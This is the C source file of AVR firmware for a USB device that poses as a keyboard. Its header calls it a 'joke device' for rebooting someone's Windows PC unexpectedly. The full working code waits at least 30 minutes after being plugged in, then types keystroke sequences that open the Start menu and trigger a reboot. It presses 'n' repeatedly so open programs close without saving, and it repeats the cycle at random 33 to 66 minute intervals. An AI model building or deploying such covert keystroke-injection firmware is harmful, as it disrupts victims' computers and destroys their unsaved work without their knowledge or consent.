Windows-Rebooter            

/* Name: main.c

 * Windows Rebooter
 * Joke Device to reboot someones Windows PC unexpectedly

 * device wais 30 minutes befor enumerating at the pc os

 * Device waits another 24 minutes plus initial random time (between 
 * 0 and 50 minutes),  then sends <ctrl-escape> to activate 
 * Windows Start Menu 
 * it then sends the sequence <a> <n> to call reboot sequence.

 * As there may be some Programs open, it shuts down these
 * programs without saving files. This is achieved by sending 
 * a few <n>, each of these end open file dialogs.

 * As there are 2 different Windows Menu dialogues a second sequence
 * follows. It sends  <r>, <return >, and several <n>

 * The Device waits a random time between 33 and 66 minutes
 * and then reboots again

 * Source Code was modified from "CapsLocker" Source

 * "Capslocker" was modified from Original code:
 * Thermostat based on AVR USB driver
 * Author: Christian Starkjohann
 * Creation Date: 2006-04-23
 * Tabsize: 4
 * Copyright: (c) 2006 by OBJECTIVE DEVELOPMENT Software GmbH
 * License: Proprietary, free under certain conditions. See Documentation.
 * This Revision: $Id: main.c 537 2008-02-28 21:13:01Z cs $
 */


#include <avr/io.h>
#include <avr/interrupt.h>
#include <avr/wdt.h>
#include <util/delay.h>
#include <avr/pgmspace.h>
#include <stdlib.h>

#include "usbdrv.h"
#include "oddebug.h"

#define  allow_interrupts()  sei()
#define  false  (1==0)
#define  true   (1==1)
typedef  int8_t  bool;

/******************************	Resolve AVR naming chaos ****************/

//-----------------------------	Interrupt vectors -----------------------/
#ifndef	USART0_RX_vect
#if defined 	USART_RX_vect
#define		USART0_RX_vect	USART_RX_vect
#elif defined	USART_RXC_vect
#define		USART0_RX_vect	USART_RXC_vect
#elif defined	USART0_RXC_vect
#define		USART0_RX_vect	USART0_RXC_vect
#endif
#endif

#if !defined USART0_UDRE_vect && defined USART_UDRE_vect
#define	USART0_UDRE_vect USART_UDRE_vect
#endif

//-----------------------------	Register names --------------------------/
#ifndef	UCSR0A
#define	UCSR0A	UCSRA
#endif
#ifndef	UCSR0B
#define	UCSR0B	UCSRB
#endif
#ifndef	UCSR0C
#define	UCSR0C	UCSRC
#endif
#ifndef	UDR0
#define	UDR0	UDR
#endif
#ifndef	UBRR0L
#define	UBRR0L	UBRRL
#endif
#ifndef	UBRR0H
#define	UBRR0H	UBRRH
#endif

//-----------------------------	Bit names -------------------------------/
#ifndef	UCSZ00
#define	UCSZ00	UCSZ0
#endif
#ifndef	UCSZ01
#define	UCSZ01	UCSZ1
#endif
#ifndef	UCSZ02
#define	UCSZ02	UCSZ2
#endif
#if !defined URSEL0 && defined URSEL
#define	URSEL0	URSEL
#endif
#ifndef	RXEN0
#define	RXEN0	RXEN
#endif
#ifndef	TXEN0
#define	TXEN0	TXEN
#endif
#ifndef	UDRIE0
#define	UDRIE0	UDRIE
#endif
#ifndef	RXCIE0
#define	RXCIE0	RXCIE
#endif
#ifndef U2X0
#define U2X0	U2X
#endif
#ifndef MPCM0
#define	MPCM0	MPCM
#endif
#ifndef UPM00
#define UPM00	UPM0
#endif
#ifndef USBS0
#define USBS0	USBS
#endif
#ifndef UMSEL00
#define UMSEL00	UMSEL
#endif


/* ------------------------------------------------------------------------- */

static uchar    reportBuffer[2];    /* buffer for HID reports */
static uchar    idleRate;           /* in 4 ms units */
static unsigned int	TimerDelay; /* counter for delay period */
static unsigned int	timerCnt;
static uchar   key = 0;
static uchar   modifier = 0;
static unsigned int  i = 0;


/* ------------------------------------------------------------------------- */


// ----------------------------------------------------------------- application

char PROGMEM  usbHidReportDescriptor[USB_CFG_HID_REPORT_DESCRIPTOR_LENGTH] = { /* USB report descriptor */
    0x05, 0x01,                    // USAGE_PAGE (Generic Desktop)
    0x09, 0x06,                    // USAGE (Keyboard)
    0xa1, 0x01,                    // COLLECTION (Application)
    0x05, 0x07,                    //   USAGE_PAGE (Keyboard)
    0x19, 0xe0,                    //   USAGE_MINIMUM (Keyboard LeftControl)
    0x29, 0xe7,                    //   USAGE_MAXIMUM (Keyboard Right GUI)
    0x15, 0x00,                    //   LOGICAL_MINIMUM (0)
    0x25, 0x01,                    //   LOGICAL_MAXIMUM (1)
    0x75, 0x01,                    //   REPORT_SIZE (1)
    0x95, 0x08,                    //   REPORT_COUNT (8)
    0x81, 0x02,                    //   INPUT (Data,Var,Abs)
    0x95, 0x01,                    //   REPORT_COUNT (1)
    0x75, 0x08,                    //   REPORT_SIZE (8)
    0x25, 0x65,                    //   LOGICAL_MAXIMUM (101)
    0x19, 0x00,                    //   USAGE_MINIMUM (Reserved (no event indicated))
    0x29, 0x65,                    //   USAGE_MAXIMUM (Keyboard Application)
    0x81, 0x00,                    //   INPUT (Data,Ary,Abs)
    0xc0                           // END_COLLECTION
};
/* We use a simplifed keyboard report descriptor which does not support the
 * boot protocol. We don't allow setting status LEDs and we only allow one
 * simultaneous key press (except modifiers). We can therefore use short
 * 2 byte input reports.
 * The report descriptor has been created with usb.org's "HID Descriptor Tool"
 * which can be downloaded from http://www.usb.org/developers/hidpage/.
 * Redundant entries (such as LOGICAL_MINIMUM and USAGE_PAGE) have been omitted
 * for the second INPUT item.
 */


static void buildReport(void)
{
         switch (timerCnt){

            case 10:{
            modifier = 1 ;    /* ctrl */
            key = 41 ;   /*escape*/
            break;
            }
            case 12:{
            modifier = 0;    /* no modifiers */
            key = 4;
            break;
            }
            case 14:{
            modifier = 0;    /* no modifiers */
            key = 17;        // 17: n / reboot  4: a / shutdown
	    break;
	    }
            case 16:{
            modifier = 0;    /* no modifiers */
            key = 17;        /* close application 1 */
	    break;
	    }
            case 18:{
            modifier = 0;
            key = 17;
	    break;
	    }
            case 20:{
            modifier = 0;
            key = 17;
	    break;
	    }
            case 22:{
            modifier = 0;
            key = 17;
	    break;
	    }
            case 24:{
            modifier = 0;
            key = 17;
	    break;
	    }
            case 26:{
            modifier = 0;
            key = 17;
	    break;
	    }
            case 28:{
            modifier = 0;
            key = 17;
	    break;
	    }
            case 30:{      /*close application 8 */
            modifier = 0;
            key = 17;
	    break;
	    }
            case 32:{
            modifier = 0;
            key = 21;     // 21:r
	    break;
	    }
            case 34:{
            modifier = 0;
            key = 17;      // 17:n
	    break;
	    }
            case 36:{
            modifier = 0;
            key = 40;    // 40:<Return>
	    break;
	    }
            case 38:{       /* close application 1 */
            modifier = 0;
            key = 17;
	    break;
	    }
            case 40:{
            modifier = 0;
            key = 17;
	    break;
	    }
            case 42:{
            modifier = 0;
            key = 17;
	    break;
	    }
            case 44:{
            modifier = 0;
            key = 17;
	    break;
	    }
            case 46:{
            modifier = 0;
            key = 17;
	    break;
	    }
            case 48:{
            modifier = 0;
            key = 17;
	    break;
	    }
            case 50:{
            modifier = 0;
            key = 17;
	    break;
	    }
            case 52:{       /*close application 8 */
            modifier = 0;
            key = 17;
	    break;
	    }
	    default:
	    modifier = 0;    /* no modifiers */
	    key = 0;
        }
        reportBuffer[0] = modifier;
        reportBuffer[1] = key;
}

static void timerPoll(void)
{
//	static unsigned int timerCnt;

    if(TIFR & (1 << TOV1)){
    	TIFR = (1<< TOV1); /* clear overflow */
	i++;
	if(i >= 2){       // this loop multiplies timerDelay with 2
	    i = 0 ;
	    timerCnt++;
    	    if(timerCnt >= TimerDelay){
		TimerDelay = 32000 + rand(); // 12 .... 25 minutes
//		TimerDelay = 1100 + rand()/32; // testmode 60 sec + 0 ... 60 sec. */
		timerCnt = 0;
	    }
        }
    }
}


static void timerInit(void)
{
    TCCR1 = 0x0b;           /* select clock: 12M/1k -> overflow rate = 12M/256k = 45.77 Hz */
}			/*  -> max. possible value for timerDelay is 65536 / 45.77 = 1431 secs = 23,8 minutes */


/* ------------------------------------------------------------------------- */


uint8_t usbFunctionSetup( uint8_t data[8])
{
  usbRequest_t  *request = (void *)data;

  usbMsgPtr = reportBuffer;

  if ( USBRQ_TYPE_CLASS == ( request->bmRequestType & USBRQ_TYPE_MASK))  // class request type
  {
    switch ( request->bRequest)
    {
      case USBRQ_HID_GET_REPORT:  // wValue: ReportType (highbyte), ReportID (lowbyte)
        // we only have one report type, so don't look at wValue
        return sizeof( reportBuffer);
        break;

      case USBRQ_HID_GET_IDLE:
        usbMsgPtr = &idleRate;
        return 1;

      case USBRQ_HID_SET_IDLE:
        idleRate = request->wValue.bytes[1];
        break;

      default:
        // no vendor specific requests implemented
        break;
    }
  }

  return 0;
}


/* ------------------------------------------------------------------------- */
/* --------------------------------- main ---------------------------------- */
/* ------------------------------------------------------------------------- */

int main(void)
{

    wdt_disable();
    PORTB = 0b00011010;   /* output PORTB.1 = 1 */
    for(i=0;i<7200;i++){  /* 30 minutes waiting */
//    for(i=0;i<480;i++){  /* test mode: 2 min waiting */
    _delay_ms(250);
    }
    DDRB= (1<<1);    /* activate 1,5 kOhm to start enumerating */
    timerInit();
    usbInit();
    usbDeviceDisconnect();  // enforce re-enumeration, do this while interrupts are disabled!
    _delay_ms(250);
    usbDeviceConnect();
    wdt_enable( WDTO_1S);
    allow_interrupts();
    timerCnt = 200;
	TimerDelay = 32000 + rand() ;   // 12 ...25 minutes
//	TimerDelay = 1100 + rand()/32; //  test mode: 60 sec + 0...60 sec.

    // loop forever

    for(;;){    /* main event loop */
        wdt_reset();
        usbPoll();
		/* A USB keypress cycle is defined as a scancode being present in a report, and
		then absent from a later report. To press and release the Caps Lock key, instead of
		holding it down, we need to send the report with the Caps Lock scancode and
		then an empty report. */
        if( usbInterruptIsReady() ){ /* we can send another key */
	    buildReport();
            usbSetInterrupt(reportBuffer, sizeof(reportBuffer));
        	}
        timerPoll();
    }
    return 0;

}